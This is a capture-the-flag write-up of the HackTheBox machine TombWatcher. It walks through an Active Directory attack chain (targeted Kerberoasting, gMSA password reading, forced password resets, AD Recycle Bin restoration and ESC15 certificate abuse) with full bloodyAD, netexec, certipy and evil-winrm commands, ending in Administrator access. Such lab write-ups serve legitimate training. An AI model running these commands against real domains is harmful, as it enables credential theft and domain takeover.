CPTS Prep - TombWatcher - Windows Medium
TombWatcher is a medium difficulty Active Directory box on HackThebox that starts as an assume breach scenario. You're handed a single set of low privilege credentials and have to chain together six different identities before reaching Administrator. Along the way there's targeted Kerberoasting, gMSA password abuse, ForceChangePassword, WriteOwner, the AD Recycle Bin, and a certificate template misconfiguration known as ESC15. It's a great box for practicing a full BloodHound driven attack path from start to finish.
Starting Point
As is typical for an assume breach box, we start with one set of credentials:
henry / H3nry_987TGV!
Recon
A standard nmap scan shows the usual mix of ports you'd expect from a Windows domain controller: DNS, Kerberos, LDAP, SMB, and RPC.
r3v@copium ~> sudo nmap -sC -sV 10.129.67.121
The scan confirms the domain is tombwatcher.htb and the host is dc01.tombwatcher.htb. I added those to /etc/hosts and tried a quick DNS zone transfer just in case, but no luck there:
r3v@copium ~/T/J/B/TombWatcher> dig axfr tombwatcher.htb @10.129.67.121
;; Transfer failed.
Nothing surprising, so it was time to move into the actual AD enumeration.
Building the Attack Path with BloodHound
Since this is a credentialed assessment, the next logical step is to run RustHound-CE against the domain with henry's credentials and pull that data into BloodHound. This gives a full map of users, groups, and permission relationships across the domain, which is where the real attack path reveals itself.
The graph shows that henry has WriteSPN rights over a user named Alfred. That's the first foothold to chase.
Auth as Alfred: Targeted Kerberoasting
WriteSPN lets you add a Service Principal Name to an account you don't otherwise control. Once that account has an SPN, any authenticated user can request a Kerberos service ticket for it, and that ticket is encrypted with the target account's password hash. If the password is weak, it can be cracked offline. This is targeted Kerberoasting, and it's a well known technique for turning a write primitive into a crackable hash.
First, add a fake SPN to Alfred using bloodyAD:
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'tombwatcher/meow'
[+] alfred's servicePrincipalName has been updated
Then request the ticket with netexec:
nxc ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting output.txt
This returns a $krb5tgs$ hash for Alfred, which cracks almost instantly against rockyou with hashcat:
hashcat -w 3 -O -D 1 alfkerb.hash ~/Wordlists/rockyou.txt
...
Recovered: 1/1 (100.00%)
The password turns out to be basketball. New credentials in hand:
alfred:basketball
Auth as ANSIBLE_DEV$: gMSA Password Abuse
Rerunning BloodHound as Alfred shows he can add himself to a group called Infrastructure, and that group has ReadGMSAPassword rights over a group managed service account named ANSIBLE_DEV$.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'alfred' -p 'basketball' add groupMember infrastructure 'alfred'
[+] alfred added to infrastructure
Group managed service accounts have their passwords rotated automatically and stored in the msDS-ManagedPassword attribute. Anyone listed as a principal allowed to retrieve that password can read it directly over LDAP, provided the connection is properly signed or encrypted. After joining Infrastructure, the value becomes readable:
bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NT: 3eca34dd13a85db79c03178b7b149621
That NT hash gives full pass the hash access as ANSIBLE_DEV$.
Auth as Sam: ForceChangePassword
BloodHound shows ANSIBLE_DEV$ has ForceChangePassword rights over the user Sam, which means the password can be reset directly without needing to know the current one:
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev$' -p 'aad3b435b51404eeaad3b435b51404ee:3eca34dd13a85db79c03178b7b149621' -s set password sam R3Vr3v123
[+] Password changed successfully!
Shell as John: WriteOwner Chain
The path continues with Sam holding WriteOwner over John. WriteOwner lets you become the owner of an object, and object owners can always modify the object's own DACL, which means you can grant yourself further rights afterward.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p R3Vr3v123 -s set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p R3Vr3v123 -s add genericAll john sam
[+] sam has now GenericAll on john
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p R3Vr3v123 -s set password john 'NewPassword123'
[+] Password changed successfully!
With GenericAll in hand, resetting John's password directly does the job just as well as a shadow credentials attack would have. John also happens to be a member of the remote management group, so this account gets a proper shell:
evil-winrm -i 10.129.67.121 -u John -p NewPassword123
*Evil-WinRM* PS C:\Users\john\Desktop> type user.txt
User flag captured.
Auth as cert_admin: The AD Recycle Bin
This is where the box takes an unusual turn. BloodHound shows John has GenericAll over an organizational unit called ADCS. That's a strange thing to control on its own, since OU permissions don't automatically flow down to everything inside unless the ACE is set to be inheritable. It's not immediately clear why this matters.
Digging through the certificate template permissions with certipy turns up something odd. One of the templates, WebServer, lists a specific enrollment principal by SID rather than by name:
S-1-5-21-1392491010-1358638721-2126982587-1111
When a SID shows up unresolved like that instead of a friendly account name, it usually means the object no longer exists in Active Directory in a normal, live state. Trying to look it up directly confirms this: the object can't be found under the domain. That points toward one place: the AD Recycle Bin.
The Recycle Bin feature preserves deleted objects, including their SID and most of their original attributes, for a configurable retention window rather than immediately tombstoning them into an unusable state. If Recycle Bin is enabled, and you have the right permissions over the object's last known parent container, you can restore it just as it was.
Checking the deleted objects turns up a user named cert_admin, sitting under the ADCS OU right before deletion, matching the SID from the certificate template:
CN=cert_admin\0ADEL:F80369C8-96A2-4A7F-A56C-9C15EDD7D1E3,CN=DELETED OBJECTS,DC=TOMBWATCHER,DC=HTB
Since John has GenericAll over the ADCS OU, and that OU is cert_admin's last known parent, John can restore the account:
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p NewPassword123 -s restore object 'CN=cert_admin\0ADEL:F80369C8-96A2-4A7F-A56C-9C15EDD7D1E3,CN=Deleted Objects,DC=tombwatcher,DC=htb'
Once restored, GenericAll over the OU still applies, so resetting the password gives full control of the account:
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p NewPassword123 -s set password cert_admin 'NewPassword123!'
Privilege Escalation: ESC15
With valid cert_admin credentials, the WebServer template's mystery SID now resolves cleanly, confirming cert_admin has enrollment rights on it. Running certipy's vulnerability scan against the template surfaces the actual issue: ESC15, also known in the community as EKUwu, tracked as CVE-2024-49019.
ESC15 affects certificate authorities that haven't been patched against a flaw in how they process Application Policy extensions on Schema Version 1 templates. Normally a template's allowed Extended Key Usages are locked down by its configuration. On an unpatched CA, a Version 1 template will accept an attacker supplied Application Policy in the certificate request and bake it into the issued certificate, even if that policy has nothing to do with what the template was designed for. Combined with a template that lets the requester supply an arbitrary subject, this opens the door to requesting a certificate that claims to belong to any account you want, with capabilities the template was never meant to grant.
WebServer fits both conditions: Schema Version 1, and Enrollee Supplies Subject set to true.
The first natural attempt is to directly inject a Client Authentication policy and request a certificate as Administrator:
certipy req -u cert_admin -p 'NewPassword123' -dc-ip 10.129.67.121 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 'Client Authentication'
This request succeeds and a certificate gets issued, but trying to authenticate with it fails with an EKU error. The way ESC15 actually gets abused in practice on a hardened setup like this one is a bit more indirect: instead of injecting Client Authentication, inject the Certificate Request Agent policy instead.
certipy req -u cert_admin -p 'NewPassword123' -dc-ip 10.129.67.121 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 'Certificate Request Agent'
A Certificate Request Agent certificate lets its holder request certificates on behalf of other users, which is exactly the mechanism behind the ESC3 attack. With that agent certificate in hand, a second request can be made against the User template, this time on behalf of Administrator directly:
certipy req -u cert_admin -p 'NewPassword123' -dc-ip 10.129.67.121 -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
This returns a certificate that is properly bound to the Administrator account's SID, which authenticates cleanly:
certipy auth -pfx administrator.pfx -dc-ip 10.129.67.121 -domain tombwatcher.htb
The result is Administrator's NTLM hash and a valid Kerberos ticket.
Root
With Administrator's hash, a WinRM shell is one command away:
evil-winrm -i 10.129.67.121 -u administrator -H <NTLM_HASH>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Domain compromised.
Takeaways
TombWatcher is a satisfying box because almost every step is a different well known AD misconfiguration chained together into one long path. What made it especially interesting was the AD Recycle Bin twist. A deleted account with permissions still attached to a certificate template is easy to miss if you're not paying attention to unresolved SIDs in your enumeration output, and it's a good reminder that in Active Directory, deleted doesn't always mean gone.
Credit to 0xdf's excellent writeup of this box, which helped confirm the final ESC15 exploitation path and the specific reasoning behind why the direct Client Authentication injection didn't pan out on this particular CA configuration. Full writeup available at his blog if you want another perspective on the same path.